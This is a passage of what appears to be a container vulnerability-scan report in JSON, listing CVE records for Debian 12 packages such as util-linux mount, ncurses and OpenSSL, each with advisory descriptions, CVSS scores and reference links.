"https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "mount@2.38.1-5+deb12u3", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "db6b596e9b2c0272" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:03449d915b1f057ba1dcd797c79c40e52b10a11a97b4e46fa9b0f96f0f375598", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "mount@2.38.1-5+deb12u3", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "db6b596e9b2c0272" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2d46f8586acfe7f692d0c8ecbe5618b708ba4879bb50d39b1885ffc37ad13fb0", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "ncurses-base@6.4-4", "PkgName": "ncurses-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/ncurses-base@6.4-4?arch=all\u0026distro=debian-12.13", "UID": "8e69deb4f19b17b3" }, "InstalledVersion": "6.4-4", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1acfa353a8cd5aae318d10664f237543658703bd87d8ec0d25e08fce59c0647a", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "ncurses-bin@6.4-4", "PkgName": "ncurses-bin", "PkgIdentifier": { "PURL": "pkg:deb/debian/ncurses-bin@6.4-4?arch=amd64\u0026distro=debian-12.13", "UID": "e3f559220e0fbad1" }, "InstalledVersion": "6.4-4", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7accfe9d306ad621d355f60843e8f108c63bd9526ff3ca6f375bdfbcabce1fed", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-31789", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.0.18-1~deb12u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "363922abf5dc6da4" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31789", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f26869deb6176c9648c02b7a9fca5321b7c0ad20ebee9644e1948827cb0f938", "Title": "openssl: OpenSSL: Heap buffer overflow on 32-bit systems from large X.509 certificate processing", "Description": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "julia": 4, "nvd": 4, "photon": 4, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31789", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://github.com/advisories/GHSA-j79m-9jxq-788r", "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde", "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf", "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49", "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9", "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521", "https://nvd.nist.gov/vuln/detail/CVE-2026-31789", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://www.cve.org/CVERecord?id=CVE-2026-31789", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.617Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28387", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.0.18-1~deb12u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "363922abf5dc6da4" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28387", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ec425dbd03f7978725c8e6495f63db3b1365ffdd68c1ad507b44e16f55bc81ff", "Title": "openssl: OpenSSL: Arbitrary code execution due to use-after-free in DANE TLSA authentication", "Description": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as 'unusable' any TLSA records that have the PKIX\ncertificate usages. These SMTP (or other similar) clients are not vulnerable\nto this issue. Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28387", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b", "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe", "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3", "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7", "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177", "https://nvd.nist.gov/vuln/detail/CVE-2026-28387", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28387", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.7Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28388", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.0.18-1~deb12u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "363922abf5dc6da4" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28388", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2b710d62fa6167248097e772fa6a0708edf57bfb97bb45d3657cd7c0c1804eac", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in delta CRL processing", "Description": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28388", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e", "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139", "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3", "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8", "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726", "https://nvd.nist.gov/vuln/detail/CVE-2026-28388", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28388", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.863Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28389", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.0.18-1~deb12u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "363922abf5dc6da4" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28389", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:55ab8b27f422aee915891002a249983fc9fb6633993f3cbb397d57f8a436d2ee", "Title": "openssl: OpenSSL: Denial of Service vulnerability in CMS processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28389", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/advisories/GHSA-7x88-9hgc-69gf", "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5", "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616", "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f", "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a", "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686", "https://nvd.nist.gov/vuln/detail/CVE-2026-28389", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28389", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.03Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28390", "VendorIDs": [ "DSA-6201-1" ], "PkgID": "openssl@3.0.18-1~deb12u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "363922abf5dc6da4" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.19-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28390", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a305cdc97141cb5ead2111acfc37d3984b4717edf9ea51f5a50a8539c0e8bf21", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact 